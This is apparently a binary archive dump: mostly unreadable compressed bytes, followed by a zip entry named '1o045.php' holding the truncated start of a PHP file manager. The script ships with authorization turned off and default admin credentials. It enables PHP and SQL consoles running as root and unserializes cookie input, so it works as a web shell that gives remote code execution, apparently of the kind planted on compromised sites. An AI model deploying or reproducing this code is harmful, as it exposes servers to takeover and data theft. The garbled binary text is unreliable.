5��]�؈�}�lK��D�᭷��q%��L�L���zė��|@�Աt�9�+�w�N=�CBl�<��{/+z�ӖpOH�O7�U��d�=����lz���J.��6_�(��������b
>QƊmI�FtV�Uy�������v[
�s�
#�5V�����
�H�6U,��6�@��m|�]�'��0���X?���[sʖn���"�=`.�I�ӇVj���G
�����R�.Ec9�"5.�.~�sS�Xx��ɣ�746Q���=T3�ưi�ni��h-�"s)D�}�-0R��_>�y?�5���6����w_m=�6�����Ͽ��w��f�3�@�S���DS
7��f�C۞�K�Q��q�@����h��iآ���vW��Pa�*�k{?�"�b��T{�"��{�H��)G�ɞ��Q;�m4)��@=“SZk��G���g[�G�v^��;���30*�5�dI��=2U�u(����:(��*]z'V�x��a&�u��4�F�A�I1lCR�V*�Z(��Ȫ�d.�q�����$ðv��O��d;��C,�`8���P$*�٭��M�+@˘�ٓ{w��j|�1ߡF�*ʏ�e�<T��ຈ�cV<�Pj���OtǼ�n�´в��4vw�?ʼnaA��΢�<�:$�U�낭p�oN�&
��ʧ�"8S�c��~b�i��X9��P�Aw�ngcy��F���I�Vp�V�T%?5ŪtL(0\�0n��O� �'��:�-S�EALB�IX���_�^�$~@\ޗXVwP���1��]ҢU'l�����p#���R�|r��j1B�wM�:a�N�z��0���-�TT�Qk��T|��R�	%��woۣ��ثI^
���5��&c����>�&�0�Y�V��1�꾟z�x�o�
����%y<(��ȱB�rS��9���L�7��;vTr�d
��L���N��7�gc��t�Ӣ%~�}�qB���n��`����K����g1�(r���.N
�+��H`� Ba��4�8�C��}�[M���m�-��R�ڸ��Fbm�7�;l��Ր�s��-L[��G�3b
�ce����"��i�-4�5��S�d1�$m���~J/"9m���v�^���{����
{��Y���ME�]������^����G�')��]�9dS3N��!W�D�[�(ƒ��F�f�u*xj���U�i��~LG��G���5n�!�����PP
Q�$�3TGo3W���.�c!R$�dLi�T2y�dF.*�cl
vdpqv�ddѳ� ;��]�(���q�F�箍H�íITi4�8~5��Ӎn�����G�j�aKv?NP���X$��q԰(�|?������~s�m)�q
��2���I����tE>���xX.h���P&$*�;�{��ϛy8�QyL��jL���tŪ�̜쬬L~���5�6+!��c�	��c`2��C��OTk�e�!(�	_.[Lzx2Ƌ~Ҏ��UF3Ѽ�b�f�6�c-�����#
� �w:Cr<�Q.Q����U��@Q�C�ِ)�\ѝ$�դ�QA�\��o�8�$6?,h�x6`\y�B_ܕd5�T�Z�횸��r�}��\�ƞ�-�r�����0�>������hz�NÄg�^co��h>kI�Me���SG�?��׵��=��"H�%K+}0�y�����Ƒ��A����3�b�l#�(�1k�ݵ�6��@GS|�%
e���^_l�`}��݂��,˹�5n+�,�K��m�%'�'s21��e)����M�{�Ou�t���̟�T~l��ֵ�y���at����4���ȼu��d#�{heۼo��� �犕i|@��?�+��6�;�<��^nD�f�,i��^�6�År)�qj��P,�D���:��"�yؗ�I;�#F�5��0�&�Ć�I��T�OL8il2W�T���P�y��}�I8}��9yF�k�B"�c�����,��rf��7��Y�1�ZE��m��X
.�Wr5�VK��+�#����U�ц�
^�oFe�GIU$ʻ�6X�)��ݕ���f�<\,4f�������c��굄�A��P�O���QN�� �R��I�"7N���˾�C<"f�_>�C�Ѿ�"� �}J�Le��n����A	��Ф'�����fL1�?�s?��[´��G��Ⱥ�μC����P����d[׭�O�6ݚ��Ų.L�Ӯw�ݓ-��g��n'��C�u�vt2�U��ZFQ�Qh�mUF�!n���ڦ�'dꊃ�"�*t�����'y���P�\"�?a�,�~k��v��vO��8D�^��+|�ሾX��(�BM�칼�ю�M�#6�˵�۾G��rq�5m|��n����Jz�8̩.��֕�w�:�Kb'xv7���JO�r�8�B��1�Q͜�
ƾ���,�OʽJ���}�U�~ߊ7�i<�x�8����U�g�*{��	�Ϋ�z��ʊ'�<�x��k��C�%|Gi�R�>a���è�c�<΂�<Z���
+Κ)1�Jb\ňX���d�d�v���q�\\�2؛�߫	wv3�_�#.3����%yh���?M+�u�&��<��T��i,\Q�KbT��[��
�\���WC��V��403z�	��u�Vֱ4Y�r�$w���o���X��y�z���ߚ�.�p��u�悎��7�w���-:�_,���ِ�] N�D�!Uw*��j��ǧA��J�8��ǍbT�m\�{Vo�]��Xڳ�9*^>RCe(��S���j���͸���WvJ(���B�o�
YC�!G�bE�b,���æ�����)�B��qrt����f�W���43캔�X܏E�Se!iS��`'�3��x�m\�m4=9�ơ�-?n�D����!E�m��
3ܘj�:<t�������fDj	����
r�tLs�ӕ٤UC�ylQ-��Bgc�[)�.�ү�9"i��d*)7�ubs4�Dgȥ��K裖{����u..?$:�pEKOX�P��a�f�&[F���ʉ���M򹑚w�r���Q���!�>8)��2�1ͧ���L`���A5z��4-R�A\'bmg#K^� �⩖T�4�w4�NÒ������jC��������|*!p��P4�7�������8
8͏��k���8T:�H�7f����ZU�顷�*�n��O��'b*��´�|���"F��{�9x�{ˆdq��v���m�i�3�ܛ)E���6����Y��]� �~J�(�3�O���������ۢ.�1������=DMHZ�����zd��BҰ����5�yDY���%�*�`'�X�2�#�[��A�c��<d9�8se���ޙ�;�6;(���.�}�Y�j��[�+zrs��.WG�`6��I����k��FYm�9�Ј�7KVl���t:�˘�)��i�;Ld�:--7DQx�s��9z��:��J�L���`��6s^c���/U��y�i��m��Mj�H�W�tu���y�P
O�����R)
�Ǿ�Z�ܻ��.�T>��,4�Y�b��#j2�ˏQLɔ��N��,?��|�x�n�;�ۯJ��ʸ���)N(;�(���L�x8X0�{��$<q#\��)h�͠Z���?yC�k��u3�x�����Ō)������w���qT�ϭ�Y�{4:�E���*������$w�k3(�T���-9s���Bd��#�I��Q����4��{"H�F����V,�D\N�Y�O��֮�l��mX�G4B�c��7�7o��8;���r��v��,��q�%Gч�dD$?��;NT�wv֚�Z E�S\ln��mt�Z=��0�{Dj)0��f��=>
_a�G1G�X���3;M}i�*=�̓�|�U�g��[���;~�yJ��*�����\�����uM2ˡ+�v�[02�b?�k�[W�ه�Y�o�^�͛�b��dݹQ��s���Z���6�BX��Y��f]�4%�y/3���\5
��L�W�Sd�
v�'/nj�G�O�36�,�O�W�cRݥ�W��:}7��0�eh�6�����"���L4�-��%�Ļ�,��;֚�x5��_���$n�~��g+��l�
ɶ�!>ĝ-ڔ�����\�H�.v�~E��ٳ�̩�ǝ�GU#}<2|��#'1�����vy���k�L��� �ri?��{�>)�#�H�?wΗ+�P�(x�OW������au)�1Tn��F��X\%�~{1���\o�$��HB�̲?n�ɽ��oU�\��!P<|��T���OF��]�	iX,bG�u��Jq	��i�Y!e�᧽���
^�ϹL�%�ύ�Çݝv�tBF��M�<68���ů���H�dhY��$_6�0.W�jz��a9e���Tv'�^�	U����	#Z��qo��U�2A������Y혴.�E
�����~O;*�]�Ӻ8c�M!s���Go��8D�v~ԑ��/QX1j�\��rF-ԓQ�)��Ϣ9�fz�E󭢶��?ޢ`|�Rۜr�!���	_"���.΃;��������I�t%����`�׬u��"��K�U�%˛:�B�o�?R|Q֩�oQWι�,�uN�?��7+���;���y^�Ϙ��������Zs7r�nޟqlb��)�ڔ
*�YW2c��+Uu'2���Fu�#�
S6���\�5+nn*���EO;A\��|��z���E��X���?���`�k.��GDזᱜ��U{����,eҌt�˞}��*��C(��\ߤ�sD��ƃe�����<
�*{f��0���
�[����	V�6bޗ�[�ŗ����s?�p~�x���_��3�d
��(�-��:6a�_��딆9�TXD*f�0[IN��`��}�<�����C��!��o.�	x$�j2ɪi��C6�‰2!$��w��w�C�Ğ�亱v���δ���H�K�6�\���+���i�Ӈ�-���3!���Y�Bu�~�ޱ��P��@
CT���R�&�=�[^Cw���e|�?�lR��ϙ�h$`�#��>���q��_��C�R�r$�\M�쬠��n�,$'}<��5�wL�)��2?�`����B\_�����s�.�>(1���s��}������<B�=c�ɮ��50$�Ï���rf;J��R�������:�#�q���,�HO�Ut�o*�T�3�u���.����G���(����S)�z�oO3�7�mkZ��
��ՠ��v:�V^Z���g�oe����z��鏍���^F�:Dm��ޥ|֨`
�k�UǴ[Q�h�8ty>��dBg�6�v��D�]��㚡<J��&��e{�7�$��gz{�
O�nNy嶫r��=ōI��s�#3MF��������t�CD*2��+�/��-����<
�!����PwL?:n��Fb����j��i�B��%������Ts�j�x�a<f����'�O�~/8�T5Eq���a�ή����W�.�
�L�}�*,�;�D�ŰQ����E$�;Eհ�����6��i9���
���?PE�fXO_���ӕH�� ��0w[p
RI��~%^X���i�y�?�2^�����
�(�(WV$���FU Z��O�ʖ��%FG[Y�K�ޫ�:u�;�D��Oj��1�0�W�\ғ�RHDXS��\�-2�����6Z6!f�0����<�)gN��aL��77C��&��Vj�F3���F�c&c�Oei?�r=f�O@���/|�F7gT��z�Gr(۸�|K�����Ρ㪽$��Maomݔ�q�L�R��f��(�8U��)�&vm>�R�>���xw��7���s
�K��Ư�O�P��$�8��Y��jQ�7���-���x��1ဘ������p�x��Q��
���R�Ű1aY�H�r��0e��%�y(߷�	[���M">��H0�c�ؓ�F�`I�q��q��e��r-�)�GN&<;�:��G�*0s�—uE��9>G�˸��)�:��qt*%<��Ў����t0��A|�J�;�^�
��u(OCǞ�=RE��=�×��s�eNX~��e��GG<�^K�����A�	Ƅ&��w�[@�I��W�z�"S|_��Y�����Oth(�QRR	[mh�x ��W`�U���D���B�t�́�2��%�XI��EAt�[>�t�a�^
\����H�|:������u2G��F b�Jj����Խ�[�K�U��P��*����o�{~�|�ϓ��zltB{�,Y܍�ҷ��v(��G�]?�;�8�T�A�'l�X�
/(d����L�)˔#�,�;��#�}m�/�^�i�(H�9}��{�	�K2��md�3�f���=�P~�w(�=y�+h�&���
)�H�e*v	���[�y�Zw1$gwV���
$2�҇7�G����?��px�p�*`�k����=$<%�'�댽�Z��
�'�E�ڡ(��\�Q��1󽤌�o��ӚJ�yX�8
@���N�z/~����28b��6��wX�fz�%&#6�l@N\u+A���C�����G�p����d�qC�P�S�a�1I[Mu.a��l��;-҆����ٷ�xk���M[ѯ��1��sZ7�2qG�h�����[Đa��n�Ͼ{}��.<l�I��aă?8��,�� M���X�lD���3��8�*GE_�SR͂n$a*��1��6�=�˸^a̅��D\bt�M��.�j�ڀ�ɯB��[�I(�*"��7xRC��If391
u�4/l7����
����-e�z)�%
��%m�Dgt��)W����g�䭋]�Jf��@�\pX�]�#fp猤�-̿��_0I��=X^Lͽ��q��9s�ݻ��S�$1�=�oƳ��Nk�����<ލW��k)�N�,��o[dmm���9��I�a��Q
�9��
P�G��o��>ȸ{/9�*�i�gydeB���SM	6���[_�Y�3�[<�1�ueX��:9�>Z(W�35��V�u�?�QR�xh.N���%�ԉ�̏}	j�SW��9�d7�D�kqD�0�E�;x�i(���m^���"�
��^���Imz$vOy0�fl��g��d@y6l8���4�C*|�͊�°U���VBz
]j�ǎ���o�w�0YU3P�p��~%a<�酐>�"��0�=՜OX�V+t�a}.���(+O��.���d:��c?��^����3K��z���aaC\�K��?��i�l�d���Ά����ܗ!�9���[�o꤫�
�
w�R)�	��d�(��B||V�y��&l.��A�̬U��@�y�e&!���N�"��~��#{����&�=V���)�D��=���Bӳ�Js���̲��b��<ݛ�<��{��m�o�2��
9{̓��d>�|�A�I���$
�k���8v��JR���O[��%��"��P�.�1h6w?/^�]f:E�#�;b��#|B�4V�n�d��Q�ף[_��ͧ�Jw7�mC7�+�� �DEom@�?���<��s�#��Ϝj�?�+�W���-�Ҟl�؛Xl:vy�L.F��֤@�g��-�(�Ƙ��+��3_'4�D��uk۱����̓�R���~�P�n��8��S�H�$Ǻ[
mxp
Z^?N�n����T��߈�ܽsZA�!�ÐL��	�!ֺ��+<��|ˎ:����lj��xm4����I�Z�s50�</L���D�5��(��R�5��GF[�_�:�ۗh������k�
E(���w��5�.�7��L��M�o��*z�rg�dzl��`��.�?�B3Q�8���\���婟\�z�.���!~��@�*�7rR^��g"4D-Sŋ�l�g�f��98:^
)��Pb���w�HF�X��6g&݋�.�N"�i,����b��h��y%B��v�{2�~b�wߞ|���&�����Ƿ2�w��?YI�Ĵ�lxz��IT/�i�Q/z�9��Xp|Z'��K�=�ϡ�{�~%ު)f�Qӫհ�M�x��
#|�
IC8fϵ*�7
!�nU�ƿ�e���S	�3�R�bta�b���o(�
n0�[#< a-�.��ҡO_G|���Q�2z���s���i��%w��Ceaw���jy�Ç~$ŧ2
��>���l?���$��� I���-哚�4�x��l����"��E��gU�%�����ۇ�3-�F���zi���jģ|[ݜ�N��)a�&;z��&�6@�'��U��c:f�C��W�S�,:�h/B�yWN(�}�ǜث'S�;䖋2�
~�h���.�4�vi�/����X���}�3I�OOr��Y���iJ��*~,�%l`��#��J+`�
�,K�ߚݸ]n�!�?��(�fHB*�
�"j*�Ӏ�u�D��� t{�tX1�b3Dz^lڪV0WȜ��S!�C�MQ��­:v�@���f�y���2����%7o+
��@��!�+�җ���Ce%���ւo_�-2��S�x�K=q�YJǣn�H�O��ڦ��P�
�ͼ�Y)�;��-����gd�|9�G�җvЉw��Pc�"��hom0Op��
�W����/��M����T�=�O��E3����9�	2����x��н^��F�0�eO�1ښ�א��v'y)5*�{3��q���J�t9'���g�7�d�e�Tw�ܲH@��2_���"��̓�O�F�z��W>�k△��?@��z��au�Mk��]�&3���,xg��K���ؚٗ}��3ƝH螜3=Ô�MC�\�-i�=O><�Za�&�z���{ݔ�����S��i[5j��4X�b�/M�酨�Q#�y�k��t�1�m�ʬ�8�N�HyEq�7Qoj��삌%�득q�|b�@��r�7j���X�)��R��ո��n.!�q�2�����b! �k�D���.'�9�F��a8F��o����[T�,v ��}��[�'�N�5R��h�~�n�K��%==���}㋎��>
�sS�ֳ��nˈ�[2����a�Qh���wl�Q�����|�ro��7F_ĦH�uwo�����,L��׺�5�)�����ՠ5V�_5�K�yL%$�cH���?���uth�Bp[{�6۽(;��#o��S���Z�8�h�y�����M�����g��Z�z!4�Ǫ�&��8R��G���羶M�tC\���"�v�}N ����#K_>���v�7c��W⌏
�O�v�V֦��tJ�=0��q�Ӯ;��s�#=�UW͐ݓK���3:����
�`���#wڬG��$�#��~`{����/��%����ᬙ��\t�}B�!�j���|$$inҐN�[����n�++.�
�
�%榉�.Z�4�M~B�a�� ȗ�� k�|��4^�kF�_�b��`@�)�>�k�q�ԝ��<��	S�	�x$�u}��C�Ԭuؾ�=��'"�f��$��I�c��\(9�܋v�����@�ğ �:b�J=�
t���u�c^%�w�aW�����x/�}/�k�g,�Ȋ.t�{ie�kV��0:	�a
�3�p�j��Q�zl�xKiT�V�L^�����7��-��)ݾ�1��YZa'�d�>�&}f��j�5�����qW�vJ��)��v�J尣[����Qzߏ����)F�V��6��3u���J������m��@��[H��wADK�[^Ի�W�lQR�54��B�Xv�O�%p�<�>)�{�t�|Y��ŽBZ�Je���ś�F?kCg��TRQd�Ԕo�>�K�gu/�{�Ct�e�����oV�+��a�~
��-q������k�h�ܝ��|��[MA�Y�����\^��S�5%����x�ޛM@b�?O���b���g�D^BO���؉�a��]b����Mn���o�С�lA�ǯHO�P �`���.��B��[oW�/��������Iq���>&�"F��x�U������������\u�5�u0�K��D?�o���:��ͬ��	vWT����<Z߫���l.�v\�����s�d\�}�g�V���؃������k��jrfgK9��\"uy�����ϥ��;��}�xt�	͡s�XO[U�f�� �X�bW��/�X�dg����y�MC�Q�f:y�W��0��xKk+xc'?����z�-��T��T_��Й�ߟ?����i񧭣y��^7�+w˭�{�P�J�n4%$�7�R���]��d��}[���e�$#iq�y+�l������uŇ���P"�	�ųr~��(��݃�[>m���Mp�l��c�K䤳w��b#��V���lr!�xb��{��BC���;O	=z��i=.�yg�cR�lqw*�Oa�
Ƃ����'L���Ѧ�s���ٸbKŘI٩]򠤹���^A�{��az0�1H�'��m�;t�f��Z��Lg�����Q��<<�u������T��?z���-;
A��b*	%�*D\�A�����n���$q��sv݁�#��f�R�C�?�J�kD#�MU>�?�|O6�R����/���%={sx�<W� ���;,¥�:&�$������~����v��Z�i1]t��=��?��̘6��4߅��}�h�Ŵ5�Ja��se�p��a^ʁ�]BE�ÆEA�C{i��U<��mC��#2ULו�)΢tdEIG�
����ͩ����N��m��6�ˮe�^�Ʊ��@�I�S�z�n`��SV{���b�Qa~����{jL@�5˿hg�~#��U�.?O���/-�U���M�M��8�z�A�D
5
��>E��r����g>�9���>�����h���3�%e7:{��֥�&��-��un�7�9�@����_~��m�����׻��)�;�_���q�$��A"`$
�X����Lxo�dk����Ŵ�I�7��i)
oj�ܯF 	�=��"]�����|�VB��T�0����,�P+�3Mwf�:�:�x�v}�h��O?�Dh%>�'��#�&x��7\�N�[�2������סeĞ\-\QC���Wip��]L1�h�)�^.�������>ͫQ,�%cd=>y��-'i!hȰ���������$���e��)G삭ܰ��4��lj	!��:�bb�a��!!Gs�k�=��%M�Ȭ�vV{D�j����#j�EZ�eF�{�2غv�;Qt��V���q����0�DM�ˢ�x��O�l�'
�g����Z
�E.��#�J�J��}�[�#jeQ��������6]15���'�MA��Z���>{׵��g7�8=u[�N�YV7�;�����斀��Ʉ�/��������ȰsV� ^���a`͠�k�Tmh�i��7=�Fr�f�lE=#��cfI��]D�̏瑺8�y���P��n:YS�v��"����(��j�\.��Lү�ĒzN���z��>"�2K�M��YN���~|�=���f�J�h&ٟ�E5��3nǵ�0�0��`Q����|��b�Y]�`h}!�yd�������x��۳7#��VO0�g��?R�P���@�p��Rh��T�.���c�,��>��/Y�E�B?䙖�?�S�k��T"���?Ca<WI��fJ4�}&(g�=���>�X��DQ~}f�AW*��}
��;q0q��Y��d�o�|�x�B��:l��	�(�����7b��|xq9	��.�@4���D��Rb�Q&M�Q��%,�1�v�;
�$ռL&��~~�i�>X��q����/��?m�b�ԋ]�2���&�٭�7��g��V�3���
��v�|���"q�p��+k�⚱�$�-�'/���P�X��
M}3|d��9��SZ4�soC�h#=M�(��V�c{�kG�Љ���!����_�}�i��w:O&�Ɍ��ȹFN��n��mO&�Hz�SS3�[N�ς
�'M�%}aM���5kMh�Q3�T-��o�����p�=�1���N�.r��D0����`�c��o@�X/$c�#߃��P�h��ٚ�a��G��N���+�h��<+'�ӈ�M듕mA�@�W����J���zJ;%�K�8&�{�GWI�c!�G$�ۈ�O��L���F���D�1}�&p���[�&${E��*����V9�7��$Q\�UMvNr�W*|1B�i)��?�mOA)�Í�z�oA �ކ��K����&p�7,��9���Z�f�g��n���N8@�Q���I���m���0�I�)�$��m��*��2�Kc8ٓ�c3���p$�F�7��O+�%��Rw_�ҿ}J�[e��-[��/_��ϢL�h��w�G͙=LV��A���8L�p�7�Y�J&-�'�d�����m�����TrxY�nbQ��6٤uHά�@B״
.wt�:m�|�8\�!�|�7�~�O%���sE�o��K���A�	�f�`�Ș�e�$��#t׶��q����9��꛺�e�7�::��bEw]�U��e���
��y
����D�ԧ���mDkt\K��<�%X���gX���O?���J^�za77!cX�2�1f��F-�c=^C�YnH�}�y�;�p�ݦH�
�,Kw��,��^�FC7l�0zzt��ʯ9"�#X���U
0��e�ꣲ���˦+e����\��_�EyI��*��<�5Nf�t�i�wG�����$氨~rV���C��8

c�A��+U�lj
%2O�v�mJT�Q�";�F�C�$�V)�3���ߌ�dQ�{�Fcn�����ײ�����ܢ��R�L�HL�����A�Z¥l�M��5�[r|�Y���tٚ�&!q�v���߹��z�<���o�lY��@4�Zv,t��Z�|Vouҷ���Z�V�܂����2��f��,c	�QW���ȞN��l��=v]��c�žq�G�I�8�K*b2�hP��EƁ\��{^H(X8dN��\��[����ֆ�{LC�a� �;�q� �n)>r�%�z�:1�fq簧�H/�I$�H~Q�;j��������;�l�����۰_�qQ~�t����{D7i#+��o*j=-�Q9C��a��	�h�/��w���i~���Ŕ�^i	T��8�lZ[Q�Moa`�T~%����&�y�������6�Сs�)��;l�kZ|���;�cm�ϟPG��ܫ��< ���\"TJS�oh�9˧����6���j�z�y�:k��O��X�e����T�ɚ[�!e�}���6�&4�~��Zذ,�ً�-�V{O��_��n��b	U�	2��
����!��k���ı|$d?xz<�P�1Np�P�2�bRⴃ�/ I�<\/D�V�n�o�V!j�,�g�&��o?eS��US�菊����{����K.�+��k�~�G`��"q�W=���w�m���s�N�P�mч�
���6L@��p����>-d�yPT5ӟ��(^�>�
�FgO���ɬ�u]�p�H���\�q��܄�_bIz?��&$��v=3��-���Ф��̗q3Gr�h�b�c�2ovg���O���>��Һ5Xʵ��}�4��W��N��MkK=N
I!������l/yǽ���5���]-
�H��ͥ>���UE�΃h^�~�7��N�+�~܈�忷�i7�LcW�=�H��;4�%q�ѣ�1�H�gC#�Q�%�N%v63�.f�C�\� �\_��W	Z$z��X�\$���sE����o�V�������(=6�]�EQow.tv�hW&t���垇<�r�n�	tN̷��r+��X}�-@���9�(݊�M�Ta�rm����au���k����7�kyR[Z�:��s
�#q�u	�z��q�T�x͐�����O�;;!�"��:����a.�7S<�M%�R���Jл�)Q�H�.��z:�Ϲr�I���l�Š2db��[C�tR�WO��ZH�
j��s�'�`4S��v�^�-;�Q1��y3)i��w�r�|z�hB&WɁY�Sn-x-*�j�%J�����|�5(
��B��Ԣ�<Z{Ͱ?�Pw�� ���	��(�{��ϺT1鿱V�z	@�j�~�CS_$��|��dJ���2��]��`�",�D%���R�<��y�<ݷ5Μ�l�/�C��|��8 
uҠe'��'�Z�xnLvc�@�w�zɷݎ{�"� -���j#�}���t��$wz�˅=�p�y�{
�*�s������Qu�΢�xk
6c?t蝜9l��a��b��U+��o��F�k��o|}Q�*�o�FCZV٫������hoc�(.Џ�DWM�HҾ_����8{�����\�GV�:�H�^�P%^�a�����\���̸��4���U)��Z���Ƿ{J:�wF��3V�{l��H�l��C��l�������"�>�,���P���O���x�֛��M�l9n6�ͷ��)��p�%�d������ژ$N���Ω5#�T�
�����
O�m�g�-C<�E��Ó��7]�nQ�w]�#��������)��1�"Џ+	a���"��#� ��2�5&�ؓ��R�"|L�ͮ|���X=E�� YC8_D)�*�+��G�"+��X]�ee��vQ�w�
lYJ��ܯ+�_*ۧ:�ɽ���Y���ל`����*ͮ덩�8v���8P���"�%�˞���h�3�l�t�\K9�h,��rTJ����m�Rq�� ���e�3_�7��r��$)�&r��H�����aޕ�XY�f�쐶۱ލ��ɯc�fטu7�th	��or��Ă�{���ً��x(�\ذjsH�!x�3&F�C1���.���y����)�)����pv�[�Jf�E�{߅S��=�(���ЊA��"�D}���7����8�,�0�ZrN
ʼny������&����9�$������?�y�Tf�[vɇ���D7�!R�[+*�;{H�	n�?�>4�/
��Τ��<�/���~�]�H�ت�b�������c#G�3�i�����V�c�%t��]<�H��t�r-��oR8~�9�L�u���;Zv�!��}�и:�ϖoTi�PQ��Sfm���*����dK�,Y2�uLI<��]k;���k����h���z��|�3��MDV�ZA�J��.y�4�ԛQ������ͶL-	�Z�Ď�}��}�����k.C'���w�>EDF��@����0�q�n�a�˸��d&C�r&��`��-LjXN�%k��-[�ח"Ԅ�xgH���]����#G�07�1�Y:��x����deUկY�I������Ā{-F�6���2�oAL��(L
��\׿d���g�d̡��yj)dtj�ӂV�i���w�((�:�qD��C(^��|L̫*�$���.�SB]0��D��?��H�G��e���[�B��;1�7N����Nm�gL~�w���,+�3_����ހ~H�8k����Z�G���''�ܡ��9p�7i}��m���yi�Z�Zy��͢<��&=‹y.�Z��?��3K��u��`��f������9ɩj}L�"�QM�S�hRxt��}a"!Y).H�N���t;s�J�H��O�2	D�G���MIr�&F_�� b�l)o�*�q���j&FX�\�|5pPB�I/���ԭR�����O�����>�'�Ӝ���d��E�>���	�Z"�٢-R��)�"����S�O�uj�m��c���~�����B+q��X��^*�����KZ�����E�š<2G�eB')�D��Y��?,�<�3�d���
���m�M�q��M�7a>%�!׃A���E�b�\2浦"-s5I�A�ڴk�Ǐ_x��\�N6�wT%G�S�|���JQ�)w�U�V�r�U�)�L?Y�_?����e���	_����
�]{_�W�n���E�fԸ߃[��<�z�k�P�s�������P�鬿֑ݯ������֓SM��V���m���/��9T���<��l]%�Y��U�{27Ygw���\8D�Sq�a��.���|򗯟v�����>�������64�������O4ʮ�T�W<�*�ѿ��-~����.BO��r�΋��I���^Z_�NV�O��Ll�_wI,�r<3����8��qd�@��]��p/���v���Fa]�fk��)m�����L#��K��}�:���~��5B?)�~�.
��GLbO>dZm)�w���&�6F
�˓�s��{�]h\_�֓VP'���X/�v~���Iu��05���VkB{�`�tZ��y;�|�q��r�R���s�D$��M�6��F>t�)=�:Ӽ2�ӡ��G��_�NO<Oi��opB�������_����߯���=��PK!;�e�5�5	1o045.phpnu�[���<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
